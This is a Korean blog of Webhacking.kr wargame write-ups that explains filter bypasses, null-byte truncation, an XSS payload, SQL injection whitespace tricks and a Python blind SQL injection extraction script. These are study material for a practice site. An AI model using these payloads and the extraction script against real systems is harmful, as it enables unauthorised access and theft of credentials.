보안 공부하는 꼬깔이

Webhacking.kr 26번 문제 풀이

 

 

26번 문제에 접속하면 index.phps 힌트 페이지가 존재한다.

확인해보자.

힌트페이지에는 php 소스코드가 존재한다. 해석해보자

 

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } #GET방식으로 id변수에 저장된 값이 "admin"이면 코드 실행 종료
$_GET[id]=urldecode($_GET[id]); #GET방식의 id변수에 저장된 값을 urldecode 수행 후 다시 id변수에 저장

if(
$_GET[id]=="admin") #id변수에 저장된 값이 "admin" 이면 문제 해결
{ 
@
solve(26,100); 
} 

?> 

소스코드를 참조하면 GET방식으로 id변수에 "admin"이라는 값을 입력 받아야 문제가 해결된다. 하지만 "admin" 문자열을 전달하게 되면 eregi 함수에 의해 필터링되고 소스코드가 강제로 종료되게 된다.

그렇다면 admin을 url encode해서 전달하게 되면 어떻게 될까?

"admin" url encoding 한값 :  %61%64%6d%69%6e

필터링 당했다. 이유는 url encoding 된 %61%64%6d%69%6e 값을 전달해도 서버에 전달됨과 동시에 서버의 php가 해석을 해서  "admin" 이라는 문자로 받아들이기 때문이다.

 $_GET[id]=urldecode($_GET[id]);

그렇다면 소스코드중 urldecode를 한번더 수행해 id변수에 저장하는 소스코드를 이용해 문제를 풀어보자.

%61%64%6d%69%6e 값을 한번더 encoding 한 뒤 서버측으로 전달하게되면 서버측 php가 해석을 해도 "admin"이라는 문자가아닌 "%61%64%6d%69%6e" 문자로 판단할 것이고 eregi 함수의 if문을 우회할 수 있다. 그리고 바로  $_GET[id]=urldecode($_GET[id]); 해당 구문이 실행 되어  "%61%64%6d%69%6e" 를 url decoding 한 값인 "admin"을 id변수에 저장할 것이고 문제가 풀릴것이다.

admin을 2번 url encoding 한 값인 "%2561%2564%256d%2569%256e" 을 get방식으로 전달해보자.

예상대로 eregi 함수로 필터링 하는 if문을 우회한뒤 한번 더 urldecoding을 통해 "admin"이 id변수에 저장되었고 문제가 풀렸다.

100 Point 획득 :D

 

 

 

 

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 25번 문제 풀이  (0) 2017.07.10
Webhacking.kr 24번 문제 풀이  (0) 2017.07.10
Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07

Webhacking.kr 25번 문제 풀이

 

25번 문제 메인화면이다.

리눅스에서 ls -l 명령어를 수행 했을때 나오는 결과값과 비슷한 내용이 존재한다.

그리고 url을 확인하면 GET 방식으로 file 변수에 밑에 존재하는 파일들의 이름을 입력하면 출력되는 형식인 것 같다.

디폴트 값으로는 hello 값이 get 방식으로 전달된다. 그리고 참고할 사항으로는 file 변수에 hello 만 전달했는데 hello.txt가 출력되었다. 그렇다는 것은 $file."txt" 이런식으로 php 파일을 실행할 수 없게끔 확장자를 고정시켜 놓은 모양이다.

그리고 password, index 외에 임의의 아무 값이나 입력해도 hello.txt 의 내용이 출력된다.

$file=$GET_['file']."txt"

if(file==hello.txt)

{

해당파일 open 후 출력

}

else if(file==index.php

{

해당파일 open 후 출력

}

esle if(file==password.php)

{

해당파일 open 후 출력

}

esle

{

hello.txt 내용 출력

}

아마 이런식으로 소스코드가 작성되어 있어서 password.php, index.php 를 입력해도 뒤에 ".txt" 확장자가 강제로 붙어 조건에 부합하지 않기 때문에 else 문으로 따져 hello.txt 파일의 내용이 출력되는 것이 아닌가 추측된다.

그렇다면 마지막에 붙은 확장자를 우회하기 위해 문자열을 강제로 끝마치는 %00(null 바이트) 를 파일 이름 뒤에 붙여 넘겨주게 되면 ".txt" 구문은 무시하게 되고 우리가 원하는 파일을 출력시킬수 있을 것이다.

실제로 ".txt" 확장자가 %00(null바이트) 로 인해 무시하고 password.php 파일이 출력되었다.

출력된 password를 auth 에 입력하면 문제 공략 성공!

150 Point Get :D

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 26번 문제 풀이  (0) 2017.07.12
Webhacking.kr 24번 문제 풀이  (0) 2017.07.10
Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07

Webhacking.kr 24번 문제 풀이

 

 

 

24번 문제의 메인 화면이다.

 

client 에는 나의 공인 ip가 출력되어 있었다.

 

페이지 소스를 확인해보니 index.phps 힌트파일이 존재한다고 주석처리 되어있다. index.phps로 들어가보자

 

 

코드에는 현재 문제의 php 소스코드가 존재했다. 해석해보자

 

 

 

<?

extract
($_SERVER); #extract는 배열속의 키값을 변수화 시켜준다 즉, $_SERVER의 값을 변수화 시킴 
extract($_COOKIE); #$_COOKIE의 값을 변수화 시킴

if(!
$REMOTE_ADDR$REMOTE_ADDR=$_SERVER[REMOTE_ADDR]; #문제에 접속한 클라이언트 IP가 없으면 REMOTE_ADDR 변수에 문제에 접속한 클라이언트 IP 저장

$ip=$REMOTE_ADDR; #ip 변수에 클라이언트 ip저장
$agent=$HTTP_USER_AGENT; #agent 변수에 $HTTP_USR_AGENT 를 저장


if(
$_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip); #클라이언트 ip에 12 라는 문자가 들어오면 공백으로 치환
$ip=str_replace("7.","",$ip); #클라이언트 ip에 7. 라는 문자가 들어오면 공백으로 치환
$ip=str_replace("0.","",$ip); #클라이언드 ip에 0. 라는 문자가 들어오면 공백으로 치환
}

echo(
"<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");

if(
$ip=="127.0.0.1") #ip에 저장된 값이 127.0.0.1 이면 if문 수행
{
@
solve(); #문제 공략
}

else
{
echo(
"<p><hr><center>Wrong IP!</center><hr>");
}
?>

소스코드 해석을 참조해보면 REMOTE_ADDR 쿠키에 저장된 값을 $ip 변수에 저장하고 그 값이 127.0.0.1 이면 문제가 풀리게된다.

 

 

 

하지만 위의 소스코드중 str_replace 함수를 이용해 "12" , "7." , "0." 을 사용하면 공백으로 치환시킨다.

 

 

 

실제로 공백으로 치환되는지 확인해보기 위해 REMOTE_ADDR 쿠키를 추가하고 127.0.0.1 주소를 넣어주고 전달했다.

 

 

실제로 "12", "7.", "0." 이 필터링당해 1 하나만 남아있는것을 확인 할 수 있었다.

 

str_replace는 처음 한번 변수에 저장된 값을 검사해 치환을 하고 그 후에 다시 저장된 값에 대해서는 검사를 하지 않는다.

 

그렇다면 112277..00..00..1 이런식으로  적게 된다면 어떻게될까?

"1122"에서 가운데 "12"가 공백으로 치환되어 최종적으로 "12"라는 문자가 완성될 것이다. 그렇게 "7." , "0." 부분도 똑같이 완성될 것이며 127.0.01 이 완성된다. str_replace는 다시 저장된 값에 대해서는 검사하지 않기 때문에 문제를 공략할 수 있을것이다.

str_replace 구문의 필터링을 우회하여 127.0.0.1 의 주소가 들어갔고 문제를 공략했다.

 

100 Point Get :D


 

 

 

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 26번 문제 풀이  (0) 2017.07.12
Webhacking.kr 25번 문제 풀이  (0) 2017.07.10
Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07

Webhacking.kr 23번 문제 풀이

 

 

 

 

23번 문제의 메인화면이다.

 

"너의 미션은 <script>alert(1);</scirpt> 구문을 삽입 하는 것이다" 라고 되어있다.

 

아마 위에 사진의 폼에 스크립트 구문을 삽입하여 제출하면 되는 모양이다.

 

 

아무래도 <script>alert(1);</script> 구문중 특정 부분에서 필터링이 걸리는 모양이다.

 

어떤 부분에서 필터링이 걸리는지 하나하나 값을 넣어 확인해 보자.

 

<> :가능
</  :가능
</>:가능
문자열을 2개이상 연결해 적으면 무조건 필터링 당함. 즉, script 문자 사용 불가

 

이정도의 결과를 유추했다.

 

 

그리고 여러가지 테스트를 하던도중 위 사진처럼 폼에 html 구문을 넣으면 자동으로 현재 페이지 코드에 삽입이 된다는 점을 알았다.

 

 

 

위 사진을 보면 알다시피 코드가 그대로 현재 페이지 코드에 삽입되어 동작한다.

 

그리고 form 태그를 확인해보면 code 변수를 통해 url에 get방식으로 전송이 가능하다.

 

현재 문자열을 2개이상 연결하면 필터링을 당하게된다. 그렇다면 get방식으로 code 변수에 값을 넣어 서버측에 전달이 가능하다면 s%00c%00r%00i%00p$00t%00 이런식으로 %00(null바이트) 를 전달하면 어떻게 될까?

 

최종 페이로드 : <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

 

<script>alert(1);</script> 구문이 삽입 되었고 문제가 해결됬다.

 

200 Point Get :D

 

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 25번 문제 풀이  (0) 2017.07.10
Webhacking.kr 24번 문제 풀이  (0) 2017.07.10
Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07
Webhacking.kr 18번 문제 풀이  (0) 2017.07.06

Webhacking.kr 21번 문제 풀이

 

 

 

 

21번 문제에 접속화면 위와 같은 화면을 확인할 수 있다.

 

BLIND SQL INJECTION 문제라고 대놓고 이야기해준다.

 

TIP.Blind SQL Injection?

- SQL 질의에 공격 구문을 삽입하여 서버 사이드측에 영향을 주었을 경우 해당 질의가 거짓일 경우의 반응과 참일 경우의 반응을 

파악해 공격을 하는 기법

 

메인 화면의 Blind SQL injection 문제라는걸 알려주는것 이외에 힌트는 없는것 같다.

 

본격적으로 문제 공략에 들어가도록 하자.

 

우선 참일경우의 서버 반응을 알아보기 위해 임의의 값을 입력해보자.

 

 

메인화면의 폼은 no 변수이며 GET방식으로 값을 전달한다. 그리고 1~2의 값을 입력하게 되면 Result 에 True 라고 출력되며, 그 이외의 수를 입력시 False 가 출력된다. 이를 통해 우리는 no 컬럼에 값은 1,2 가 존재하며 해당 서버는 참일 경우 True 를 출력하고 거짓일 경우 False를 출력한다는 것을 알게 되었다.

 

위 화면의 url을 확인하면 no 이외에 id와 pw 값을 GET방식으로 입력 받는다. 그렇다는 것은 해당 문제 DB에는 id 와 pw 컬럼이 존재 하며 no 컬럼의 값으로 1,2 가 존재하는것을 보아 2개의 계정이 존재한다는 것을 알 수 있다.

 

no    id     pw

 1     ?       ?

 2     ?       ? 

아마 이런 형태의 테이블구조를 이루고 있을것이다.

 

먼저 id의 길이를 출력시켜보자.

 

 

길이를 구하는 함수 length 를 이용해 no =1의 id 길이를 구했다. no=2 도 동일하게 5에서 True 가 출력되었다.

 

no    id       pw 

 1   5글자     ?

 2   5글자     ?

 

각 no의 id 길이는 알아냈으니 이제 어떤 문자가 존재하는지 알아보자.

 

 

ascii 와 substr 함수를 사용하여 id의 첫번째 글자를 찾아냈다.

 

ascii는 아스키코드를 참조하여 인자에 접근하는 함수이며, 위 사진의 페이로드에서 103은 아스키코드상에서 g를 의미한다.

 

substr은 글자를 잘라서 출력할 수 있는데 위 사진의 페이로드상으로 id 컬럼의 결과값에서 첫번째 글자를 출력하는 구문이다.

 

substr(id,2,1) 을 입력하면 2번째 글자를 출력, 3,1은 3번째 글자 이런식으로 값을 하나하나 5자리 찾을 수 있다.

 

결론은 no=1의 id 첫글자는 "g" 라는 것이다. 

 

하지만 이렇게 아스키코드 표의 십진수를 참조하면 id의 각자리마다 A(81) ~ z(122) 까지 총 41번을 반복해야 하는데 이것은 매우 비효율적이다.

 

그러므로 우리는 비트연산을 이용해 id의 값을 뽑아내보자.

 

 

비트연산이란 위 그림을 참조하면 "g"의 아스키코드 비트를 1,2,4,8,16,32,64 총 7번 체크하고 해당 비트에 대한 결과가 참이면 1을 거짓이면 0 을 출력한다. 이렇게 참인 값들은 전부 더하면 "1+2+4+32+64 = 103" 즉, 아스키표로 g를 의미하는 결과가 나온다.

 

비트연산을 사용하면 이렇게 41번을 반복해야할 공격을 7번으로 줄여준다. 하지만 총 5글자의 id를, 각자리마다 7번씩 5번 반복하는것 역시 여전히 비효율적이다.

 

그러므로 파이썬을 이용해 비트연산코드를 작성후 실행시켜보자.

 

#-*- coding:utf-8 -*-
import urllib2

count=1
to_find="True</b>"
var=20

def attack(count,bit):

url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=-1+or+no%%3D1+and+ascii%%28substr%%28id%%2C%d%%2C1%%29%%29%%26%d%%3D%d&id=&pw=" % (count,bit,bit)
req = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
req.add_header("Cookie", "PHPSESSID=(webhacking.kr쿠키입력)")
read = urllib2.urlopen(req).read()
return read

length=5
print "id : ",
while 1:
if count == length + 1:
exit(0)

bit=pow(2,7)
count_false=0
str_num=0
while bit>=1:
result=attack(count,bit)
if to_find in result:
str_num += bit
else:
count_false +=1
bit /=2
if count_false >= 7:
exit(0)
print unichr(str_num),

count +=1

해당 코드를 출력시켜보자 #코드에 대한 해석이 필요하면 덧글로 물어보자!

 

 

no=1의 5자리인 id 값이 출력되었다. 같은 소스를 no=1 부분을 no=2로 수정후 출력하면 no=2의 id 값역시 출력된다.

 

no       id       pw

 1     5자리id    ?

 2     5자리id    ?

 

현재까지 알아낸 사항

 

이제 length 함수를 이용해 no=1 과 no=2의 pw 길이를 알아보자.

 

 

no=1 의 pw 길이는 5

 

no=2 의 pw 길이는 19

 

no       id        pw

 1    5자리id  5자리

 2    5자리id  19자리

 

 

길이를 구했다면 위의 비트연산 파이썬 코드를 사용하면 pw 값을 출력하는것은 식은 죽 마시기다.

 

 

no=1의 pw결과 값 출력

 

 

no=2의 pw결과 값 출력

 

no       id          pw

 1     5자리id    5자리pw

 2     5자리id    19자리pw

 

이렇게 테이블을 완성했다.

 

도출된 pw값중 하나를 auth에 입력하면 문제가 풀린다!

 

250 Point Get :D

 

 

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 24번 문제 풀이  (0) 2017.07.10
Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07
Webhacking.kr 18번 문제 풀이  (0) 2017.07.06
Webhacking.kr 17번 문제 풀이  (0) 2017.07.06

Webhacking.kr 20번 문제 풀이

 

 

 

20번 문제에 접속하면 위와 같은 화면이 출력된다.

 

문제를 보면 nickname,comment 폼에는 우리가 임의의 값을 입력하면 되는것 같은데 code 폼에서는 바로 우측에

무작위로 배치된 알파벳을 입력하고 submit 해야하는 모양이다.

이 무작위로 배치된 알파벳은 새로고침시 계속 변경되기 때문에 복사를 해도 의미가 없다.

 

그리고 우측 상단에 "time limit : 2" 라는 문구가 있는데 이것의 의미는 2초 이내로 해당 문제의 폼에 적절한 값을 넣어

submit 하라는 의미인것 같다. 그리고 해당 코드가 실제로 구현되어 동작되고 있는 것 같다.

 

정리 하자면 2초안에 nickname, comment 폼에는 임의의 값을 , code 부분에는 무작위로 생성된 알파벳 값을 입력하고 submit

하면 문제를 공략하게 될것이다. 하지만 우리가 nickname과 comment 폼에 값을 채우고 무작위로 배치된 알파벳을 code 폼에

입력하고 submit을 하기에 2초라는 시간은 부족하다. 

 

힌트를 얻기 위해 우선 페이지 소스를 확인해보자

 

소스를 보면 위의 자바스크립트 코드가 존재한다. 코드를 해석해보자

 

 

function ck()  #ck 함수 선언
{

if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }  #id(nickname폼)의 값이 빈값이면 id폼으로 커서가 이동
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; } #cmd(comment 폼)의 값이 빈값이면 comment폼으로 커서가 이동
if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; } #hack(code폼)의 값이 빈값이면 code 폼으로 커서가 이동
if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; } #hack(code폼)의 값과 attacke me(무작위 알파벳) 의 값이 같지 않으면 code 폼으로 커서가 이동

lv5frm.submit(); #submit

}

 

해당코드를 해석한 내용을 참조하면 단순히 각 폼에 입력된 값이 빈값인지, code폼에 입력한값과 무작위 알파벳의 값이 같은지를

확인하는 코드인것 같다.

 

하지만 <script> 태그는 클라이언트측에서 변조가 가능하기 때문에 위의 코드를 변조해 문제 공략에 사용해보자

 

 

 

코드를 위와 같이 변조했다. nickname,comment 폼에 바로 임의의 값을 저장, code 폼에 무작위 알파벳을 저장하게끔

변조 하였다. 위의 코드를 복사해 새로고침(F5)를 눌러 time limit를 초기화 시키고 크롬의 콘솔 기능을 이용해 변조 코드를

전달하면 어떻게 될까?

 

콘솔 기능을 통해 변조 코드 전달.

 

 

성공적으로 2초이내로 문제에서 원하는 입력 값을 모두 전달하여 문제 공략에 성공했다.

 

 

200 Point 획득 :D

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 23번 문제 풀이  (0) 2017.07.10
Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 18번 문제 풀이  (0) 2017.07.06
Webhacking.kr 17번 문제 풀이  (0) 2017.07.06
Webhacking.kr 16번 문제 풀이  (0) 2017.07.06

Webhacking.kr 18번 문제 풀이

 

 

 

 

18번 문제에 접속하게 되면 대놓고 SQL INJECTION 문제라고 알려준다.

 

index.phps 를 확인해보자

 

index.phps 파일에는 위에 해당하는 소스코드가 존재한다. 코드를 해석해보자

 

 

if($_GET[no]) #GET 방식으로 no값에 전달된 값이 있다면 if문 수행
{

if(
eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"
); // eregi 함수를 사용하여 코드에 나와있는 특수문자 및 구문을 |(파이프)를 기준으로 필터링하고 해당 필터링되는 문자중 하나라도 no 변수의 값에 있다면 no hack 이라는 구문이 출력되고 코드 종료  

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"
)); //코드의 쿼리를 수행해 $q 변수에 배열 형식으로 저장함.

if(
$q[0]=="guest") echo ("hi guest"
); //쿼리가 실행되어 q 배열에 저장된 값이 guest 라면 hi guest 출력
if(
$q[0]=="admin"
) // q배열에 저장된 값이 admin 이라면 문제 공략 성공
{
@
solve
();
echo (
"hi admin!"
);
}

}

 

 

코드 해석은 끝났고, 이제 어느 부분에서 어떻게 sql injection 공격을 해야하는지 실제 mysql을 통해 테스트 해보자 

 

 

우선 form에 1을 넣게 되면 hi guest가 출력된다는 점을 참조하자

 

 

guest의 no값이 1이라는 점을 반영해 문제와 비슷하게 테이블을 구축했다.

 

 

해당 문제의 쿼리는 이런식으로 동작된다. 이렇게 되면 id 값이 guest로 고정되며 and 연산으로 인해 guest에 해당하는 no 값을 입력해야만 참이되고 값이 출력된다.

 

 

하지만 이런식으로 no 컬럼에 존재하지 않는 거짓값(-1 같은)을 입력해 id와 no의 and 연산을 거짓으로 만들어주고 or 연산을 시도하여 참이 되는 값을 넣게되면 쿼리문이 동작되고 or 연산자의 조건으로 값이 출력될것이다.

 

 

실제로 테이블에 sql injection ID를 추가해주고 id와 pw의 and연산을 거짓으로 만들고 or 연산자에 참이 되는 쿼리를 추가하니 해당 쿼리에 대한 결과값이 도출되었다.

 

이제 본격적으로 문제를 풀어보자

 

우선 해당 문제에서 guest의 no 값은 1이다. 하지만 우리는 admin에 대한 no값이 무엇인지 모르기 때문에 no값으로 admin을 출력하기는 어렵다. 그렇기 떄문에 limit 연산자를 사용해 admin을 출력시켜보자.

 

TIP.limit 연산자?

- limit 의 사전적 뜻은 제한하다 라는 뜻이다. 그렇다면 limit 연산자는 mysql에서 어떤역할을 하는가? 바로 쿼리의 출력 결과의 개수를 임의로 정해서 출력할 수 있다. 예를들어 (select * from challenge18_table where id limit 0,5) 해당 쿼리를 출력하게 되면 challenge18_table의 id 값이 0번째 부터 5번째까지만 출력한다.(0부터 첫번쨰 컬럼) 2,6 을 적어주게 되면 3번쨰 컬럼부터 7번쨰 컬럼까지 출력하라 라는 뜻이 된다.

 

 

limit 0,1 의 결과값을 보면 테이블의 첫번째 값인 guest가 출력되었고 limit 1,1 의 결과값으로는 admin이 출력되었다. 실제 문제에서 테스트 해보자

 

 

sql injection 구문을 전송하니 no hack 이라는 구문이 출력되었다. eregi 함수로 인해 필터링되버린 것이다.

 

if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");

 

필터링구문을 다시 한번 확인해보니 \t(tab) 과 공백(띄워쓰기) 가 필터링되는 것을 확인할수 있다.  공백문자를 사용하지 못하면 쿼리 에러가 떨어질것이고 결과값이 출력되지 않을것이다. 그러므로 우리는 공백과 같은 역할을 하는 개행 문자들을 url encode 형식으로 전달해 필터링을 우회할것이다.

 

1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'

 

위와 같이 공백과 같은 역할을 하는 여러가지 구문이 존재한다.

 

그중 %09(tab) 또한 필터링 당했으므로 우리는 %0a(Line Feed) 를 사용해 문제를 공략해보자

 

 

-1%0aor%0ano%0alimit1,1 이렇게 get 방식으로 전달해보자!

 

성공적으로 sql injection을 통해 admin 값을 출력했다!

 

 

100 Point 획득 :D

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 21번 문제 풀이  (2) 2017.07.10
Webhacking.kr 20번 문제 풀이  (0) 2017.07.07
Webhacking.kr 17번 문제 풀이  (0) 2017.07.06
Webhacking.kr 16번 문제 풀이  (0) 2017.07.06
Webhacking.kr 15번 문제 풀이  (0) 2017.07.06

Webhacking.kr 17번 문제 풀이

 

 

 

 

17번 문제에 접속하면 from 과 check 버튼이 출력됬다.

 

소스코드를 확인해보자

 

 

 

코드를 보면 unlock 변수에 엄청나게 많은 연산을 수행후 그 값을 저장한다.

 

function sub(){ if(login.pw.value==unlock){ alert("Password is "+unlock/10); }else { alert("Wrong"); }}

 

그리고 위의 코드는 우리가 pw form에 입력한 값과 unlock 변수에 저장된 값이 같으면 unlock 변수에 저장된 값에 10을 나눈 수가 패스워드로 출력하는 코드이다.

 

즉, 패스워드는 unlock 변수에 저장된 값에 10을 나눈 수가 되는것 이다.

 

크롬의 콘솔 기능을 통해 unlock 변수에 어떤 값이 들어있는지 확인해보자

 

 

해당 코드를 콘솔에 넣고 실행시켜보자

 

 

unlock 변수에 저장된 값이 alert 되었다.

 

그리고 pw form에 위에 alert창에 있는 값을 입력하게 되면 이 값에 나누기 10을 한 값이 패스워드로 출력될 것이다.

 

 

패스워드를 auth에 넣으면 문제 공략 성공!

 

100Point 획득 :D

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 20번 문제 풀이  (0) 2017.07.07
Webhacking.kr 18번 문제 풀이  (0) 2017.07.06
Webhacking.kr 16번 문제 풀이  (0) 2017.07.06
Webhacking.kr 15번 문제 풀이  (0) 2017.07.06
Webhacking.kr 14번 문제 풀이  (0) 2017.07.06

Webhacking.kr 16번 문제 풀이

 

 

#해당문제는 크롬에서 공략이 되지 않으므로 익스플로러로 공략하자

 

16번 문제에 접속하게 되면 출력되는 메인 화면이다.

 

노란 별과 크레이지 아케이드의 샤샤샥 아이템 처럼 잔상효과의 작은 별들도 있다ㅋㅋ

 

페이지 소스를 보자

 

 

페이지 소스중 위 부분이 문제 공략에 핵심이 되는 코드인것 같다.

 

코드를 해석해보자

 

 

코드 해석을 참조해보면 100,97,119,115,124 를 cd값에 넘겨주게 되면 별이 움직이는 스크립트 인것 같다.

 

하지만 어떻게 100 과 같은 수를 넘겨줄것인가? 고민을 하다가 해당 수들은 아스키코드 변환을 한 값이아닐까 하는 생각이 들었다.

 

아스키 코드표를 확인하고 해당 수에 매칭되는 문자를 찾아보자.

 

 

100 :  d

97   : a

119 : w

115 : s

124 : | (파이프)

 

매칭 시켜본 결과 위와 같은 결과가 나왔다. 

 

 

실제로 w를 입력하게 되면 별이 위로 이동하고 s 입력시 밑, a 입력시 왼쪽, d 입력시 오른쪽으로 이동한다.

 

그렇다면 | (파이프) 를 입력하게 되면 어떻게될까?

 

| (파이프) 를 입력하자 패스워드가 출력되어 있는 페이지로 이동했다!

 

 패스워드를 auth에 입력하면 문제 공략 성공

 

100점 획득 :D

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 18번 문제 풀이  (0) 2017.07.06
Webhacking.kr 17번 문제 풀이  (0) 2017.07.06
Webhacking.kr 15번 문제 풀이  (0) 2017.07.06
Webhacking.kr 14번 문제 풀이  (0) 2017.07.06
Webhacking.kr 12번 문제 풀이  (0) 2017.07.06

Webhacking.kr 15번 문제 풀이

 

 

 

 

15번 문제는 접속을 시도하자마자 access_Denied alert와 함께 다시 문제 선택창으로 돌아오게 된다.

 

아마 access_Denied 를 alert로 띄우고 histroy.go() 와 같은 함수를 사용해 전 페이지로 리다이렉션 시키는듯 하다.

 

그렇다면 alert 창이뜨자마자 esc를 눌러 전 페이지로 리다이렉션 되는 스크립트를 강제로 종료시켜보자.

 

엥..? 접속하자마자 패스워드가 출력되어있다.

 

아무래도 스크립트를 강제 종료시키는 방법에 대해 알고있는지의 여부를 확인하는 문제인것 같다.

 

 

실제로 페이지 소스를 확인해보니 alert창이 출력되고 난후 history.go(-1) 부분에 의해 전 페이지로 리다이렉션 된다.

 

여튼 출력된 패스워드를 입력하면 15번 문제가 풀리게 된다!

 

 

 

 

50 Point 획득 :D

 

 

'Web Hacking > Web Hacking.kr' 카테고리의 다른 글

Webhacking.kr 17번 문제 풀이  (0) 2017.07.06
Webhacking.kr 16번 문제 풀이  (0) 2017.07.06
Webhacking.kr 14번 문제 풀이  (0) 2017.07.06
Webhacking.kr 12번 문제 풀이  (0) 2017.07.06
Webhacking.kr 11번 문제 풀이  (0) 2017.07.06